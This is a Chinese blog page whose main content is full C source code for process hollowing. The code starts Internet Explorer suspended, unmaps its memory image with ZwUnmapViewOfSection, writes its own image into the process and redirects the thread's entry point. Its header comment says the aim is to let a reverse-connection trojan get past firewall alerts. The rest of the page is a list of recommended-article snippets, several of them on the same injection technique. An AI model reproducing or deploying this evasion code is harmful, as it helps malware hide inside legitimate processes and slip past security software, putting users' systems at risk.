草牛傀儡进程代码

使用 ZwUnmapViewOfSection 卸载并替换内存镜像 The ZwUnmapViewOfSection routine unmaps a view of a section from the virtual address space of a subject process. NTSTATUS ZwUnmapViewOfSection( IN HANDLE ProcessHandle, IN PVOID BaseAddress ); 这个函数在 wdm.h 里声明,它的功能是卸载进程的内存镜像(Image Buffer),内存 阅读详情
*********************************************************************
    Author: Polymorphours
    Date: 2005/1/10    Modified by: XiCao
    Date: 2006/10/31
    另一种将自己代码注入傀儡进程的方法,配合反弹木马,可绕过防火墙的
    反向连接报警。
**********************************************************************/
#include <stdio.h>
#include <windows.h>

BOOL UnloadShell(HANDLE ProcHnd, unsigned long BaseAddr);  typedef struct _ChildProcessInfo { DWORD dwBaseAddress; DWORD dwReserve; } CHILDPROCESS, *PCHILDPROCESS; BOOL FindIePath( char *IePath, int *dwBuffSize ); BOOL InjectProcess(void); DWORD GetSelfImageSize( HMODULE hModule ); BOOL CreateInjectProcess( PPROCESS_INFORMATION pi, PCONTEXT pThreadCxt, CHILDPROCESS *pChildProcess ); char szIePath[MAX_PATH]; int main(void) { if (InjectProcess() ) {     printf("This is my a test code,made by (Polymorphours)shadow3./r/n"); } else {     MessageBox(NULL,"进程插入完成","Text",MB_OK); } return 0; } BOOL FindIePath(OUT char *IePath, OUT int *dwBuffSize) { char szSystemDir[MAX_PATH]; GetSystemDirectory(szSystemDir,MAX_PATH);

szSystemDir[2] = '/0'; lstrcat(szSystemDir,"[url=file://program/]//Program[/url] Files//Internet Explorer//iexplore.exe"); lstrcpy(IePath, szSystemDir); return TRUE; } BOOL InjectProcess(void) { char szModulePath[MAX_PATH]; DWORD dwImageSize = 0;

STARTUPINFO si; PROCESS_INFORMATION pi; CONTEXT ThreadCxt; DWORD *PPEB; DWORD dwWrite = 0; CHILDPROCESS stChildProcess; LPVOID lpVirtual = NULL; PIMAGE_DOS_HEADER pDosheader = NULL; PIMAGE_NT_HEADERS pVirPeHead = NULL;

HMODULE hModule = NULL;

ZeroMemory( szModulePath, MAX_PATH ); ZeroMemory( szIePath, MAX_PATH );

GetModuleFileName( NULL, szModulePath, MAX_PATH ); FindIePath( szIePath, NULL );

if ( lstrcmpiA( szIePath, szModulePath ) == 0 ) { //当前运行在IE空间里     return FALSE; }

hModule = GetModuleHandle( NULL ); if ( hModule == NULL ) {     return FALSE; }

pDosheader = (PIMAGE_DOS_HEADER)hModule; pVirPeHead = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDosheader->e_lfanew);

dwImageSize = GetSelfImageSize(hModule);

// 以挂起模式启动一个傀儡进程,这里为了传透防火墙,使用IE进程 if ( CreateInjectProcess(&pi, &ThreadCxt, &stChildProcess )) {     printf("CHILD PID: [%d]/r/n",pi.dwProcessId);     // 卸载需要注入进程中的代码     if( UnloadShell(pi.hProcess, stChildProcess.dwBaseAddress) )     {      // 重新分配内存      lpVirtual = VirtualAllocEx(       pi.hProcess,       (LPVOID)hModule,       dwImageSize,       MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);         if( lpVirtual )      {       printf("Unmapped and Allocated Mem Success./r/n");      }     }     else     {      printf("ZwUnmapViewOfSection() failed./r/n");      return TRUE;     }       if(lpVirtual)     {      PPEB = (DWORD *)ThreadCxt.Ebx;      // 重写装载地址      WriteProcessMemory(       pi.hProcess,       &PPEB[2],       &lpVirtual,       sizeof(DWORD),       &dwWrite);         // 写入自己进程的代码到目标进程      if ( WriteProcessMemory(       pi.hProcess,       lpVirtual,       hModule,       dwImageSize,       &dwWrite) )      {       printf("image inject into process success./r/n");           ThreadCxt.ContextFlags = CONTEXT_FULL;       if ( (DWORD)lpVirtual == stChildProcess.dwBaseAddress )       {        ThreadCxt.Eax = (DWORD)pVirPeHead->OptionalHeader.ImageBase + pVirPeHead->OptionalHeader.AddressOfEntryPoint;       }       else       {        ThreadCxt.Eax = (DWORD)lpVirtual + pVirPeHead->OptionalHeader.AddressOfEntryPoint;       } #ifdef DEBUG       printf("EAX = [0x%08x]/r/n",ThreadCxt.Eax);       printf("EBX = [0x%08x]/r/n",ThreadCxt.Ebx);       printf("ECX = [0x%08x]/r/n",ThreadCxt.Ecx);       printf("EDX = [0x%08x]/r/n",ThreadCxt.Edx);       printf("EIP = [0x%08x]/r/n",ThreadCxt.Eip); #endif       SetThreadContext(pi.hThread, &ThreadCxt);       ResumeThread(pi.hThread);      }      else      {       printf("WirteMemory Failed,code:%d/r/n",GetLastError());       TerminateProcess(pi.hProcess, 0);      }     }     else     {      printf("VirtualMemory Failed,code:%d/r/n",GetLastError());      TerminateProcess(pi.hProcess, 0);     } } return TRUE; } DWORD GetSelfImageSize(HMODULE hModule) { DWORD dwImageSize; _asm {     mov ecx,0x30     mov eax, fs:[ecx]     mov eax, [eax + 0x0c]     mov esi, [eax + 0x0c]     add esi,0x20     lodsd     mov dwImageSize,eax } return dwImageSize; } BOOL CreateInjectProcess(         PPROCESS_INFORMATION pi,         PCONTEXT pThreadCxt,         CHILDPROCESS *pChildProcess ) { STARTUPINFO si;

DWORD *PPEB; DWORD read;

// 使用挂起模式启动ie if( CreateProcess(     NULL,     szIePath,     NULL,     NULL,     0,     CREATE_SUSPENDED,     NULL,     NULL,     &si,     pi )) {     pThreadCxt->ContextFlags = CONTEXT_FULL;     GetThreadContext(pi->hThread, pThreadCxt);       PPEB = (DWORD *)pThreadCxt->Ebx;     // 得到ie的装载基地址     ReadProcessMemory(      pi->hProcess,      &PPEB[2],      (LPVOID)&(pChildProcess->dwBaseAddress),      sizeof(DWORD),      &read );       return TRUE; } return FALSE; } BOOL UnloadShell(HANDLE ProcHnd, unsigned long BaseAddr)    {         typedef unsigned long (__stdcall *pfZwUnmapViewOfSection)(unsigned long, unsigned long);         pfZwUnmapViewOfSection ZwUnmapViewOfSection = NULL;

     BOOL res = FALSE;         HMODULE m = LoadLibrary("ntdll.dll");         if(m) {             ZwUnmapViewOfSection = (pfZwUnmapViewOfSection)GetProcAddress(m, "ZwUnmapViewOfSection");             if(ZwUnmapViewOfSection)                 res = (ZwUnmapViewOfSection((unsigned long)ProcHnd, BaseAddr) == 0);             FreeLibrary(m);         }         return res; }

傀儡进程学习 0x00 前言 最近做了一道18年swpuctf的题,分析了一个病毒,正巧都用到了傀儡进程,就想着把傀儡进程学习一下。本文权当个人的学习总结了一些网上的文章,如有错误,还请路过的大佬斧正。 0x01 SWPUCTF -- GAME 进入main函数 先获取当前目录,再拼上GAME.EXE 进入sub_4011D0 首先寻找资源,做准备工作,进入sub_4012C0 1)检测PE结构 2)CreateProcessA 创建进程 3)GetThreadContext... 阅读详情

相关推荐

傀儡进程 插入

BOOL InjectProcess(LPTSTR VictimFile,LPTSTR InjectExe) { HANDLE hFile; DWORD dwFileSize; //文件大小 IMAGE_DOS_HEADER DosHeader; IMAGE_NT_HEADERS NtHeader; PROCESS_INFORMATION pi; STARTUPINFO si;

tony的专栏 1499

php加壳,文件加壳实现(三) —— ZwUnmapViewOfSection

还不完整, 继续整理中// TestShell.cpp : Defines the entry point for the application.//#include "stdafx.h"#include #include #include #include "PEOperate.h"/*以挂起的形式创建进程,获取Context*/#define KEY 0x56#pragma pack(pus...

weixin_30125993的博客 793

dll注入系列——傀儡进程

0x0介绍 之前说过,要动态注入dll文件,则需要执行程序中本身没有的加载操作,必须改变控制流,除了创建线程外,还可以劫持控制流。这与二进制漏洞利用比较类似,我们向程序写入一段shellcode,然后改变线程上下文,让其去执行shellcode,这段shellcode完成LoadLibrary的操作,就完成了dll注入。 傀儡进程的本质是利用其他进程空间来执行我们的写入代码,它的实现并不困难...

40KO的博客 1241

6.24~~~~(渗透技术学习)

利用WindowsLoader开机时会执行sdb文件,sdb文件中包含了很多shim文件,shim文件可以修改程序的代码,而shim文件可以直接用Microsoft Application Compatibility Toolkit这个工具生成在Microsoft Application Compatibility Toolkit工具中可以使用选择函数Command line填入的方式直接生成shim文件。

m0_72827793的博客 932

OctoMag: An Electromagnetic System for 5-DOF Wireless Micromanipulation

电磁线圈组驱动经典系统,可以作为参考。 OctoMag: 用于5自由度无线微操作的一个电磁铁系统 OctoMag: An Electromagnetic System for 5-DOF Wireless Micromanipulation [1] Paper Link Authors: J. J. Abbott, etc. 2010, TRO IEEE Transactions on Robot...

XU Yangxin的博客 1666

波分复用-Zblock仿真

Z-BLOCK是一种用于光通信模块的光学元件,其核心结构是在玻璃块一侧贴有4个特定波长滤光片,另一侧镀有反射膜和增透膜。光信号在内部呈现Z字形反射路径,实现波长分离。文章以可见光LED为例,在ZEMAX中演示了非序列模式下的建模过程,重点介绍了滤光片和膜层的参数设置方法。需要注意的是,入射角度需根据玻璃折射率、通道高度和厚度精确计算,否则可能导致光泄漏。该建模方法同样适用于光通信中的光纤激光器系统。

Zhaxibamao的博客 1758

进程注入之创建傀儡进程

傀儡进程:创建一个进程,然后将其虚拟地址里的内容掏空,注入想要注入的进程,以达到掩人耳目的效果 步骤: 1.以挂起的方式创建一个进程 2.卸载该进程的内存映射,即掏空该进程虚拟内存空间中的内容 3.获取该进程的CONTEXT上下文结构 4.将要注入的程序读入到内存中 5.在傀儡进程中申请足够的内存空间 6.手动将要注入的程序写入傀儡进程中所申请的内存空间 6.设置CONTEXT上下文的Eax为程序...

yeanhoo的博客 2092

深度学习CV八股文

深度学习CV八股文一、深度学习中解决过拟合方法L1和L2正则化DropoutDropout正则化Inverted Dropout(反向随机失活)Dropout起到正则化效果的原因:Dropout的缺点eargstopping ( 早停法 )二、深度学习中解决欠拟合方法三、梯度消失和梯度爆炸解决梯度消失的方法解决梯度爆炸的方法四、神经网络权重初始化方法Xavier指数加权移动平均数五、梯度下降法梯度下降SGD(随机梯度下降法)Momentum(动量梯度下降)Nesterov Momentum自适应学习率算法A

填坑 2万+

[病毒分析]远程木马创建傀儡进程分析

远程木马创建傀儡进程分析 一、实验目的 该样本具有一定的免杀性,分析该样本都用了什么技术,能达到免杀效果,所以本次实验目的如下: (1)分析该样本运行流程 (2)提取该样本的关键技术,研究免杀原理。 二、实验描述 分析样本,MD5是997CF4517EE348EA771FD05F489C07FE,分析该样本的运行流程,我们需要调试傀儡进程,修复dump出来的傀儡进程,手工脱UPX壳,修复导入表。 三、实验目标 先将样本放到火绒剑里运行一下,了解样本A大概执行流程 dump出的傀儡进程为B程序,修复后

网络安全知识分享 1万+

使用海康机器人的SDK进行DWS开发时如何筛选不同类型的相机

使用MVIDCodeReader、MvCodeReaderSDK、MvVolMeasureSDK联合开发时,通常会做一些设备枚举列表,但是不同类型的设备需要枚举在不同的列表中,便于软件使用者配置参数,例如: 如何保证枚举出来的设备是可以选择的对应的设备。我们通常枚举出来的是这样的: 解决办法 在联合开发中,我们发现,只有MvVolMeasureSDK的枚举设备接口EnumStereoCamEx可以正确的只枚举出网络内的体积设备,其余的MVIDCodeReader、MvCodeReaderS

qq_29123967的博客 2733

华为EC6108V9E刷机实战:从U盘准备到开机优化的完整避坑指南

本文提供华为悦盒EC6108V9E刷机与优化的完整实战指南。针对搭载RK3228芯片和安卓4.4.4系统的设备,从型号确认、固件选择、U盘准备,到详细刷机步骤、常见故障排除,以及刷机后的深度性能优化,手把手帮助用户规避风险,让旧盒子焕发新生,成为流畅的全能媒体中心。

weixin_29324401的博客 1201

傀儡进程技术分析

前言: 傀儡进程是将目标进程的映射文件替换为指定的映射文件,替换后的进程称之为傀儡进程;常常有恶意程序将隐藏在自己文件内的恶意代码加载进目标进程,而在加载进目标进程之前,会利用ZwUnmpViewOfSection或者NtUnmapViewOfSection进行相关设置 相关技术要点 1.创建挂起进程 系统函数CreateProcessW中参数dwCreation传递CREATE_SUSP...

darcy_123的博客 1271

Qt 调用YOLO模型(代码)

本文介绍了如何在 Qt C++ 环境中集成 YOLO 模型进行目标检测,包括模型封装、界面设计和实时处理等关键步骤。通过这种方法,你可以快速开发出具有目标检测功能的 Qt 应用程序,应用于监控系统、机器人视觉、图像分析等多个领域。

轩宇的博客 260

创建傀儡进程

折腾好久,总算完成了自己第一次的傀儡进程编写。 效果:使当前进程创建一个子进程(同名) 掏空子进程,注入任何自己编写好的其他exe。 注意点 1.用来创建傀儡进程的父进程程序 需要是32位程序,因为编码的程序本身就是win32控制台程序 2.注入到进程中的程序32位,64位都行 3.pe结构取值时一定一定要留心是否需要加基址。 4.注意区分CUI程序和GUI程序,如果代码编写的是32位控制台程序,...

挖树 1177

AIO-1126-JD4(RV1126)蓝牙通讯(BLE)

AIO-1126-JD4采用了正基科技推出的一款集成WiFi、蓝牙功能的模组AP6236,支持高速(HS)功能的蓝牙 4.0,集成了 1.5 类功率放大器(PA),并支持低功耗蓝牙(BLE)。提到正基就不得不提下博通。博通和正基是芯片技术与模块制造方面的合作关系,正基科技是中国台湾的公司,在无线通信模块领域有一定的市场份额,博通则是全球领先的有线和无线通信半导体公司。正基把包含博通关键IP的核心芯片和自家的射频部分等封装在一起,即SIP(System In Package)。

w1820020635的博客 1123

高云FPGA系列教程(7):ARM GPIO外部中断

高云GN1NSR-4C共有16个GPIO,每个GPIO可配置成输入或输出模式,支持中断输入,触发方式可选择:上升沿、下降沿、高电平、低电平触发。中断优先级可通过NVIC进行设置,支持 0-7 级可编程中断优先级。

whik1194的博客 1376

创建傀儡进程代码

相比传统的创建傀儡进程的方法,更简单粗暴一些,不用卸载目标进程空间内存。直接利用现有内存进行覆盖写入即可。 减少了一些步骤。 具体步骤: 1.挂起模式创建svchost.exe 2.获取进程入口点 3.将shellcode写到入口点 4.恢复线程执行 #include "stdafx.h" #include <windows.h> #include <Winternl.h>...

Sven的忘却日记 2169

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

傀儡进程注入

傀儡进程注入 这个注入之所以叫傀儡进程注入是因为其做法是先创建一个A进程,然后将其内存替换成要执行的代码,而从外部来看就是最初创建的A进程。 从我的视角来看跟PE文件注入还蛮像的,不同点在于PE文件注入是将代码注入进去后修改EntryPoint引导至注入的代码,而傀儡进程注入则更加简单暴力一些😋,把所有内存替换了。 多亏了之前的一些PE基础因此没有特别费劲PE文件头格式解析 本章详细讲解m0n0ph1的源码 创建傀儡进程 根据一开始所说,我们需要创建一个进程 printf("Creating process

qq_40710190的博客 1234

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

windows黑客编程技术之隐藏技术(进程伪装,傀儡进程,进程隐藏)

windows黑客编程技术之隐藏技术(进程伪装,傀儡进程,进程隐藏)

weixin_44891742的博客 8283

代码注入之傀儡进程

 傀儡进程——Exe注入2009-09-17 16:29#include "stdafx.h"#include typedef long NTSTATUS;typedef NTSTATUS (__stdcall *pfnZwUnmapViewOfSection)(        IN HANDLE ProcessHandle,        IN LPVOID BaseAddress        );BOOL CreateIEProcess();PROCESS_INFORMATION pi  = {0};

sevenpic的专栏 2077

傀儡进程详解

傀儡进程是一种高级的隐蔽技术,攻击者利用进程注入、进程替换和隐藏技术,伪装成合法进程进行恶意活动。理解这些技术及其防范措施对于保护系统安全至关重要。希望通过此详解和示例,大家能更好地理解傀儡进程的工作原理和防范方法。

N阶二进制的博客 1285

直接将自身代码注入傀儡进程

<br />EXE注入-傀儡进程2008-08-16 16:38<br />      直接将自身代码注入傀儡进程,不需要DLL。首先用CreateProcess来创建一个挂起的IE进程,创建时候就把它挂起。然后得到它的装载基址,使用函数ZwUnmapViewOfSection来卸载这个这个基址内存空间的数据,。再用VirtualAllocEx来个ie进程重新分配内存空间,大小为要注入程序的大小(就是自身的imagesize)。使用WriteProcessMemory重新写IE进程的基址,就是刚才分配的内存

sevenpic的专栏 7757

傀儡进程

背景 傀儡进程本质上是借用正常的软件进程或是系统进程的外壳来执行非正常的恶意操作。 函数介绍 1.GetThreadContext 获取指定线程的上下文 2.SetThreadContext 设置指定线程的上下文 3.ResumeThread 减少线程的暂停计数。当暂停计数递减到零时,恢复线程的执行 实现原理 (1)第一步 利用CreateProcess创建进程并且使用CREATE_SUSPENDED标志挂起主线程 bRet = ::CreateProcess(pszFilePat

苞米地里捉小鸡的博客 850

傀儡进程内存Dump

傀儡进程(参见《动态加载并执行Win32可执行程序》),简单的说是指通过给CreateProcess传递一个CREATE_SUSPENDED参数可以使得被创建的子进程处于挂起状态,此时EXE的映像会被加载到进程空间中,但是并不会立即被执行,除非调用ResumeThread。在ResumeThread之前,通过GetThreadContext获取主线程的上下文以取得PEB等,调用ZwUnmapVie

XboxMicro 1529
上一篇: Windows Sockets API实现网络异步通讯
下一篇: 一个向别的进程插入dll的代码
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值